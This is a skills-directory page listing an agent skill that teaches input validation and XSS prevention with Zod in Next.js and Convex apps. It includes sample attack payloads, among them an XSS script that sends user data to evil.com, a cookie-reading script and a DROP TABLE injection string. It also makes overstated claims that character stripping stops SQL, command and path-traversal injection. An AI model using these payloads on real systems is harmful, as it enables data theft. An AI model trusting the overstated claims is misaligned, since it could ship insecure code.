Skills DirectorySkills Directory
SkillsLearnSecurityCategoriesDocsBlogPro
Sign InSubmit Skill
Skills Directory

Security-tested agent skills for Claude, coding agents, and AI workflows.

Directory

  • Browse Skills
  • All Skills A–Z
  • Claude Skills
  • Claude Code Skills
  • Agent Skills
  • Categories
  • Authors
  • Submit a Skill

Learn

  • Learn Hub
  • Install Claude Skills
  • Write SKILL.md
  • Skills vs MCP
  • Directories Compared

Security

  • Security
  • Methodology
  • Secure Claude Skills
  • Security Badges
  • Chrome Extension
  • Skill Manager

Company

  • About
  • Community
  • Blog
  • API Docs
  • Advertise

2026 Skills Directory. All rights reserved.

ProTermsPrivacyRefunds
Back to skills

Input Validation

ASecurity

Validate and sanitize user input to prevent XSS, injection attacks, and ensure data quality. Use this skill when you need to validate forms, sanitize user input, prevent cross-site scripting, use Zod schemas, or handle any user-generated content. Triggers include "input validation", "validate input", "XSS", "cross-site scripting", "sanitize", "Zod", "injection prevention", "validateRequest", "safeTextSchema", "user input security".

2 stars
0 votes
0 copies
0 views
Added 10/6/2026
securityjavascripttypescriptrustgojavabashsqlreactnextjsnode

Works with

cliapi

Security Analysis

A100/100

Scanned 10/6/2026

$npx -y skills add harperaa/agentic-secure-dark-factory --skill input-validation --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Input Validation?

Add the live security badge to your README — it updates automatically with every re-scan.

Security grade badge for Input Validation
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/harperaa-input-validation/badge)](https://www.skillsdirectory.com/skills/harperaa-input-validation)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
Files
SKILL.md
---
name: input-validation-xss-prevention
description: Validate and sanitize user input to prevent XSS, injection attacks, and ensure data quality. Use this skill when you need to validate forms, sanitize user input, prevent cross-site scripting, use Zod schemas, or handle any user-generated content. Triggers include "input validation", "validate input", "XSS", "cross-site scripting", "sanitize", "Zod", "injection prevention", "validateRequest", "safeTextSchema", "user input security".
---

# Input Validation & XSS Prevention

## The Universal Truth of Web Security

**Never trust user input.** This is the foundational principle of web security.

Every major breach can be traced back to input validation failures:
- **SQL Injection** - Equifax (147 million records)
- **XSS** - British Airways (380,000 transactions, £20M fine)
- **Command Injection** - Countless others

According to OWASP, injection vulnerabilities are consistently the **#1 or #2 threat** to web applications. Input validation is not optional—it's existential.

## Understanding XSS (Cross-Site Scripting)

### The Attack

Attacker enters in a bio field:
```javascript
<script>
fetch('/api/user')
  .then(r=>r.json())
  .then(d=>fetch('https://evil.com',{
    method:'POST',
    body:JSON.stringify(d)
  }))
</script>
```

Without sanitization, when other users view this profile:
1. The script executes in their browsers
2. It steals their user data
3. Sends it to attacker's server
4. Victims never know they were compromised

### Real-World XSS Consequences

**British Airways (2018):**
XSS vulnerability allowed attackers to inject payment card harvesting script. 380,000 transactions compromised. **£20 million fine** under GDPR.

**MySpace Samy Worm (2005):**
XSS vulnerability allowed a self-propagating script that added the attacker as a friend to over 1 million profiles in 20 hours. While mostly harmless (just adding friends), it demonstrated the potential: the same technique could have stolen credentials or payment data.

## Our Input Validation Architecture

### Why Zod?

Traditional validation uses regular expressions and manual checks—error-prone and often incomplete.

**Zod provides:**
- ✅ **Type-safe validation** - TypeScript knows what's valid
- ✅ **Composable schemas** - Reuse validation logic
- ✅ **Automatic transformation** - Sanitization built-in
- ✅ **Clear error messages** - Helps users fix mistakes
- ✅ **Runtime type checking** - Catches issues in production

### The Sanitization Strategy

We remove dangerous characters that enable XSS attacks:
- `<` - Prevents opening tags
- `>` - Prevents closing tags
- `"` - Prevents attribute injection
- `&` - Prevents HTML entity injection

**Preserved:**
- `'` - Apostrophes (for names like O'Neal, D'Angelo, McDonald's)

**Why not remove all special characters?**
Because then users named "O'Neal" can't enter their names. Security must balance safety with usability.

### Industry Validation Approach

According to OWASP and NIST guidelines, the secure approach is:
1. **Validate** (check format/type)
2. **Sanitize** (remove dangerous content)
3. **Encode on output** (escape when displaying)

We do all three:
- Zod validates format
- `.transform()` sanitizes
- React escapes output

## Implementation Files

- `lib/validation.ts` - 11 pre-built Zod schemas
- `lib/validateRequest.ts` - Validation helper that formats errors

## How to Use Input Validation

### Basic Pattern

```typescript
import { validateRequest } from '@/lib/validateRequest';
import { safeTextSchema } from '@/lib/validation';

async function handler(request: NextRequest) {
  const body = await request.json();

  // Validate and sanitize
  const validation = validateRequest(safeTextSchema, body);

  if (!validation.success) {
    return validation.response; // Returns 400 with field errors
  }

  // TypeScript knows exact shape, data is XSS-sanitized
  const sanitizedData = validation.data;

  // Safe to use
}
```

### Complete Secure API Route

```typescript
// app/api/create-post/route.ts
import { NextRequest, NextResponse } from 'next/server';
import { withRateLimit } from '@/lib/withRateLimit';
import { withCsrf } from '@/lib/withCsrf';
import { validateRequest } from '@/lib/validateRequest';
import { createPostSchema } from '@/lib/validation';
import { handleApiError, handleUnauthorizedError } from '@/lib/errorHandler';
import { auth } from '@clerk/nextjs/server';

async function createPostHandler(request: NextRequest) {
  try {
    // Authentication
    const { userId } = await auth();
    if (!userId) return handleUnauthorizedError();

    const body = await request.json();

    // Validation & Sanitization
    const validation = validateRequest(createPostSchema, body);
    if (!validation.success) {
      return validation.response;
    }

    const { title, content, tags } = validation.data;

    // Data is now:
    // - Type-safe (TypeScript validated)
    // - Sanitized (XSS characters removed)
    // - Validated (length, format checked)

    // Safe to store in database
    await db.posts.insert({
      title,
      content,
      tags,
      userId,
      createdAt: Date.now()
    });

    return NextResponse.json({ success: true });

  } catch (error) {
    return handleApiError(error, 'create-post');
  }
}

export const POST = withRateLimit(withCsrf(createPostHandler));

export const config = {
  runtime: 'nodejs',
};
```

## Available Validation Schemas

All schemas are in `lib/validation.ts`:

### 1. emailSchema
**Use for:** Email addresses

```typescript
import { emailSchema } from '@/lib/validation';

const validation = validateRequest(emailSchema, userEmail);
if (!validation.success) return validation.response;

const email = validation.data; // Normalized, lowercase
```

**Features:**
- Valid email format required
- Normalized to lowercase
- Max 254 characters
- Trims whitespace

### 2. safeTextSchema
**Use for:** Short text fields (names, titles, subjects)

```typescript
import { safeTextSchema } from '@/lib/validation';

const validation = validateRequest(safeTextSchema, inputText);
```

**Features:**
- Min 1, max 100 characters
- Removes: `< > " &`
- Preserves: `'` (apostrophes)
- Trims whitespace

### 3. safeLongTextSchema
**Use for:** Long text (descriptions, bios, comments, messages)

```typescript
import { safeLongTextSchema } from '@/lib/validation';

const validation = validateRequest(safeLongTextSchema, description);
```

**Features:**
- Min 1, max 5000 characters
- Same sanitization as safeTextSchema
- Suitable for textarea content

### 4. usernameSchema
**Use for:** Usernames, slugs, identifiers

```typescript
import { usernameSchema } from '@/lib/validation';

const validation = validateRequest(usernameSchema, username);
```

**Features:**
- Alphanumeric + underscores + hyphens only
- Min 3, max 30 characters
- Lowercase only
- No spaces or special characters

### 5. urlSchema
**Use for:** Website URLs, link fields

```typescript
import { urlSchema } from '@/lib/validation';

const validation = validateRequest(urlSchema, websiteUrl);
```

**Features:**
- Must be valid URL
- HTTPS only (security requirement)
- Max 2048 characters
- Validates protocol, domain

### 6. contactFormSchema
**Use for:** Complete contact forms

```typescript
import { contactFormSchema } from '@/lib/validation';

const validation = validateRequest(contactFormSchema, formData);
if (!validation.success) return validation.response;

const { name, email, subject, message } = validation.data;
```

**Fields:**
```typescript
{
  name: string,      // safeTextSchema (1-100 chars)
  email: string,     // emailSchema
  subject: string,   // safeTextSchema (1-100 chars)
  message: string    // safeLongTextSchema (1-5000 chars)
}
```

### 7. createPostSchema
**Use for:** User-generated blog posts, articles

```typescript
import { createPostSchema } from '@/lib/validation';

const validation = validateRequest(createPostSchema, postData);
if (!validation.success) return validation.response;

const { title, content, tags } = validation.data;
```

**Fields:**
```typescript
{
  title: string,           // safeTextSchema (1-100 chars)
  content: string,         // safeLongTextSchema (1-5000 chars)
  tags: string[] | null    // Array of safeText strings (optional)
}
```

### 8. updateProfileSchema
**Use for:** Profile updates

```typescript
import { updateProfileSchema } from '@/lib/validation';

const validation = validateRequest(updateProfileSchema, profileData);
if (!validation.success) return validation.response;

const { displayName, bio, website } = validation.data;
```

**Fields:**
```typescript
{
  displayName: string | null,  // safeTextSchema (optional)
  bio: string | null,          // safeLongTextSchema (optional)
  website: string | null       // urlSchema (optional, HTTPS only)
}
```

### 9. idSchema
**Use for:** Database IDs, reference fields

```typescript
import { idSchema } from '@/lib/validation';

const validation = validateRequest(idSchema, itemId);
```

**Features:**
- Non-empty string
- Trims whitespace
- Use for validating ID parameters

### 10. positiveIntegerSchema
**Use for:** Counts, quantities, pagination

```typescript
import { positiveIntegerSchema } from '@/lib/validation';

const validation = validateRequest(positiveIntegerSchema, quantity);
```

**Features:**
- Integer only
- Must be positive (> 0)
- No decimals

### 11. paginationSchema
**Use for:** Pagination parameters

```typescript
import { paginationSchema } from '@/lib/validation';

const validation = validateRequest(paginationSchema, {
  page: queryParams.page,
  limit: queryParams.limit
});

const { page, limit } = validation.data;
```

**Fields:**
```typescript
{
  page: number,   // Default: 1, Min: 1
  limit: number   // Default: 10, Min: 1, Max: 100
}
```

## Creating Custom Schemas

### Custom Schema Template

```typescript
// lib/validation.ts

import { z } from 'zod';

// Add your custom schema
export const myCustomSchema = z.object({
  field: z.string()
    .min(1, 'Required')
    .max(200, 'Too long')
    .trim()
    .transform((val) => val.replace(/[<>"&]/g, '')), // XSS sanitization
});

export type MyCustomData = z.infer<typeof myCustomSchema>;
```

### Complex Schema Example

```typescript
// Registration form with multiple validations
export const registrationSchema = z.object({
  username: usernameSchema,
  email: emailSchema,
  password: z.string()
    .min(12, 'Password must be at least 12 characters')
    .regex(/[A-Z]/, 'Must contain uppercase letter')
    .regex(/[a-z]/, 'Must contain lowercase letter')
    .regex(/[0-9]/, 'Must contain number')
    .regex(/[^A-Za-z0-9]/, 'Must contain special character'),
  passwordConfirm: z.string(),
  agreeToTerms: z.boolean().refine(val => val === true, {
    message: 'You must agree to terms'
  })
}).refine((data) => data.password === data.passwordConfirm, {
  message: "Passwords don't match",
  path: ["passwordConfirm"]
});
```

### Conditional Validation

```typescript
export const orderSchema = z.object({
  orderType: z.enum(['pickup', 'delivery']),
  address: z.string().optional(),
  phone: z.string().optional()
}).refine(
  (data) => {
    if (data.orderType === 'delivery') {
      return !!data.address && !!data.phone;
    }
    return true;
  },
  {
    message: 'Address and phone required for delivery',
    path: ['address']
  }
);
```

## Frontend Validation

### Client-Side Pre-validation

```typescript
'use client';

import { useState } from 'react';
import { createPostSchema } from '@/lib/validation';

export function CreatePostForm() {
  const [errors, setErrors] = useState<Record<string, string>>({});

  async function handleSubmit(e: React.FormEvent<HTMLFormElement>) {
    e.preventDefault();
    setErrors({});

    const formData = new FormData(e.currentTarget);
    const data = {
      title: formData.get('title'),
      content: formData.get('content'),
      tags: formData.get('tags')?.toString().split(',').filter(Boolean) || null
    };

    // Client-side validation (UX improvement, not security)
    const validation = createPostSchema.safeParse(data);

    if (!validation.success) {
      const fieldErrors: Record<string, string> = {};
      validation.error.errors.forEach((err) => {
        if (err.path[0]) {
          fieldErrors[err.path[0].toString()] = err.message;
        }
      });
      setErrors(fieldErrors);
      return;
    }

    // Submit to server (server validates again!)
    try {
      const response = await fetch('/api/posts', {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify(validation.data)
      });

      if (response.ok) {
        alert('Post created!');
      }
    } catch (error) {
      console.error('Error:', error);
    }
  }

  return (
    <form onSubmit={handleSubmit}>
      <div>
        <input name="title" placeholder="Title" />
        {errors.title && <span className="error">{errors.title}</span>}
      </div>

      <div>
        <textarea name="content" placeholder="Content" />
        {errors.content && <span className="error">{errors.content}</span>}
      </div>

      <div>
        <input name="tags" placeholder="Tags (comma separated)" />
        {errors.tags && <span className="error">{errors.tags}</span>}
      </div>

      <button type="submit">Create Post</button>
    </form>
  );
}
```

**Important:** Client-side validation is for UX only. **Always validate on the server** - client-side validation can be bypassed.

## Attack Scenarios & Protection

### Attack 1: XSS via Comment

**Attack:**
```javascript
POST /api/comment
{
  "content": "<script>alert(document.cookie)</script>"
}
```

**Protection:**
```typescript
const validation = validateRequest(safeLongTextSchema, body);
// Result: content = "alert(document.cookie)"
// < and > removed, script harmless
```

### Attack 2: SQL Injection Attempt

**Attack:**
```javascript
POST /api/search
{
  "query": "'; DROP TABLE users; --"
}
```

**Protection:**
```typescript
const validation = validateRequest(safeTextSchema, body);
// Result: query = "'; DROP TABLE users; --"
// Still contains SQL, but parameterized queries prevent execution
// Additionally, input length limited, special chars sanitized
```

**Note:** Use parameterized queries in database layer for full SQL injection protection.

### Attack 3: Buffer Overflow via Long Input

**Attack:**
```javascript
POST /api/profile
{
  "bio": "A".repeat(1000000) // 1 million characters
}
```

**Protection:**
```typescript
const validation = validateRequest(updateProfileSchema, body);
// Result: Validation fails
// Error: "Bio must be at most 5000 characters"
// HTTP 400 returned before processing
```

### Attack 4: Script Injection in Multiple Fields

**Attack:**
```javascript
POST /api/contact
{
  "name": "<script>evil()</script>",
  "email": "attacker@evil.com",
  "subject": "<img src=x onerror=alert(1)>",
  "message": "Normal message"
}
```

**Protection:**
```typescript
const validation = validateRequest(contactFormSchema, body);
// Results:
// name: "evil()"
// email: "attacker@evil.com"
// subject: ""
// message: "Normal message"
// All dangerous tags removed automatically
```

## Testing Input Validation

### Test XSS Sanitization

```bash
# Test XSS in title
curl -X POST http://localhost:3000/api/example-protected \
  -H "Content-Type: application/json" \
  -H "X-CSRF-Token: <get-from-/api/csrf>" \
  -d '{"title": "<script>alert(1)</script>"}'

# Expected: 200 OK, but title = "alert(1)"
```

### Test Validation Errors

```bash
# Test too-long input
curl -X POST http://localhost:3000/api/example-protected \
  -H "Content-Type: application/json" \
  -H "X-CSRF-Token: <get-from-/api/csrf>" \
  -d "{\"title\": \"$(printf 'A%.0s' {1..200})\"}"

# Expected: 400 Bad Request
# {
#   "error": "Validation failed",
#   "details": {
#     "title": "String must contain at most 100 character(s)"
#   }
# }
```

### Test Email Validation

```bash
# Test invalid email
curl -X POST http://localhost:3000/api/contact \
  -H "Content-Type: application/json" \
  -d '{
    "name": "Test",
    "email": "not-an-email",
    "subject": "Test",
    "message": "Test"
  }'

# Expected: 400 Bad Request
# { "error": "Validation failed", "details": { "email": "Invalid email" } }
```

## Error Response Format

When validation fails, `validateRequest()` returns:

```typescript
{
  error: "Validation failed",
  details: {
    fieldName: "Error message",
    anotherField: "Another error"
  }
}
```

HTTP Status: **400 Bad Request**

## Common Validation Patterns

### Pattern 1: Optional Fields

```typescript
const schema = z.object({
  required: safeTextSchema,
  optional: safeTextSchema.optional(),
  nullable: safeTextSchema.nullable(),
  optionalWithDefault: safeTextSchema.default('default value')
});
```

### Pattern 2: Array Validation

```typescript
const schema = z.object({
  tags: z.array(safeTextSchema).max(10, 'Maximum 10 tags'),
  categories: z.array(z.string()).min(1, 'At least one category required')
});
```

### Pattern 3: Enum Values

```typescript
const schema = z.object({
  status: z.enum(['draft', 'published', 'archived']),
  priority: z.enum(['low', 'medium', 'high'])
});
```

### Pattern 4: Number Ranges

```typescript
const schema = z.object({
  age: z.number().int().min(18).max(120),
  rating: z.number().min(1).max(5),
  price: z.number().positive()
});
```

### Pattern 5: Date Validation

```typescript
const schema = z.object({
  birthdate: z.string().datetime(),
  appointmentDate: z.string().datetime()
    .refine((date) => new Date(date) > new Date(), {
      message: 'Appointment must be in the future'
    })
});
```

## Convex Integration

When using Convex, **always validate inputs in mutations** - never insert `args` directly into the database.

### Basic Convex Validation Pattern

```typescript
// convex/posts.ts
import { mutation } from "./_generated/server";
import { createPostSchema } from "../lib/validation";

export const createPost = mutation({
  handler: async (ctx, args) => {
    // Validate with Zod
    const validation = createPostSchema.safeParse(args);

    if (!validation.success) {
      throw new Error("Invalid input: " + validation.error.message);
    }

    // Use sanitized data
    const { title, content, tags } = validation.data;

    await ctx.db.insert("posts", {
      title,
      content,
      tags,
      userId: ctx.auth.userId,
      createdAt: Date.now()
    });
  }
});
```

### Multiple Field Validation in Convex

```typescript
// convex/items.ts
import { mutation } from "./_generated/server";
import { safeTextSchema, safeLongTextSchema } from "../lib/validation";

export const createItem = mutation({
  handler: async (ctx, args) => {
    // Validate each field with appropriate schema
    const titleValidation = safeTextSchema.safeParse(args.title);
    const descValidation = safeLongTextSchema.safeParse(args.description);

    if (!titleValidation.success || !descValidation.success) {
      throw new Error("Invalid input");
    }

    // Use sanitized data
    await ctx.db.insert("items", {
      title: titleValidation.data,
      description: descValidation.data,
      userId: ctx.auth.userId,  // From Clerk authentication
      createdAt: Date.now()
    });
  }
});
```

### Anti-Pattern: Direct Args Insertion (NEVER DO THIS)

```typescript
// ❌ BAD - Direct insertion without validation
export const createItem = mutation({
  handler: async (ctx, args) => {
    // VULNERABLE: args inserted directly without validation
    await ctx.db.insert("items", args);
  }
});

// ✅ GOOD - Validated and sanitized
export const createItem = mutation({
  handler: async (ctx, args) => {
    const validation = createItemSchema.safeParse(args);
    if (!validation.success) {
      throw new Error("Invalid input");
    }

    await ctx.db.insert("items", {
      title: validation.data.title,
      description: validation.data.description,
      userId: ctx.auth.userId,
      createdAt: Date.now()
    });
  }
});
```

### Why Convex Validation is Critical

1. **Frontend validation can be bypassed** - Attackers can call Convex mutations directly
2. **Convex functions are your API** - Treat them like API routes with full validation
3. **Type-safety alone isn't enough** - TypeScript types don't prevent XSS or validate lengths
4. **Defense-in-depth** - Even if Next.js API validates, Convex should validate too

## What Input Validation Prevents

✅ **Cross-site scripting (XSS)** - Main protection
✅ **SQL/NoSQL injection** - Length limits + sanitization
✅ **Command injection** - Removes dangerous characters
✅ **Template injection** - Sanitizes template syntax
✅ **Path traversal** - Validates paths, removes ../
✅ **Buffer overflow** - Enforces length limits
✅ **Type confusion** - Enforces correct data types
✅ **Business logic errors** - Validates ranges, formats

## Common Mistakes to Avoid

❌ **DON'T skip validation "because it's an internal API"**
❌ **DON'T rely on client-side validation only**
❌ **DON'T use `body.field` directly without validation**
❌ **DON'T manually sanitize with `.replace()` - use Zod**
❌ **DON'T assume authentication = safe input**
❌ **DON'T forget to validate in Convex mutations**

✅ **DO validate ALL user input, even from authenticated users**
✅ **DO use pre-built schemas from lib/validation.ts**
✅ **DO return detailed validation errors (helps UX)**
✅ **DO combine validation with rate limiting and CSRF**
✅ **DO validate in both API routes AND Convex mutations**

## References

- OWASP Input Validation Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html
- OWASP XSS Prevention: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
- Zod Documentation: https://zod.dev/
- OWASP Top 10 2021 - A03 Injection: https://owasp.org/Top10/A03_2021-Injection/

## Next Steps

- For CSRF protection: Use `csrf-protection` skill
- For rate limiting: Use `rate-limiting` skill
- For secure error handling: Use `error-handling` skill
- For testing validation: Use `security-testing` skill

Attribution

harperaaharperaa
View sourceSee grades on GitHubMore from harperaa →
SSkills DirectorySkills Directory

Ship a skill? Prove it's safe.

Free 120-pattern security scan, letter grade, and an embeddable README badge.

Submit a skill

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments (0)

No comments yet. Be the first to comment!

SSkills DirectorySkills Directory

Ship a skill? Prove it's safe.

Free 120-pattern security scan, letter grade, and an embeddable README badge.

Submit a skill

Related Skills

Springboot Security

Java Spring Boot 服务中关于身份验证/授权、验证、CSRF、密钥、标头、速率限制和依赖安全的 Spring Security 最佳实践。

2456590 votes

Security Review

Use this skill when adding authentication, handling user input, working with secrets, creating API endpoints, or implementing payment/sensitive features. Provides comprehensive security checklist and patterns.

2456590 votes

Paperclip Evals

Choose, inspect, validate, and report Paperclip Runner or Product E2E evaluations while preserving evidence, provenance, cost, and failure classification.

953190 votes

Paperclip Task Bridge

Create, comment on, update, and list Paperclip tasks from Hermes using scoped Paperclip API credentials.

953190 votes

Summarize Status

Write a short, colloquial summary for a Paperclip summary slot: open with the 1–3 specific, concrete actions the reader needs to take right now to unblock the work, then a brief plain-language status, streaming progress as it works.

953190 votes
View all in security →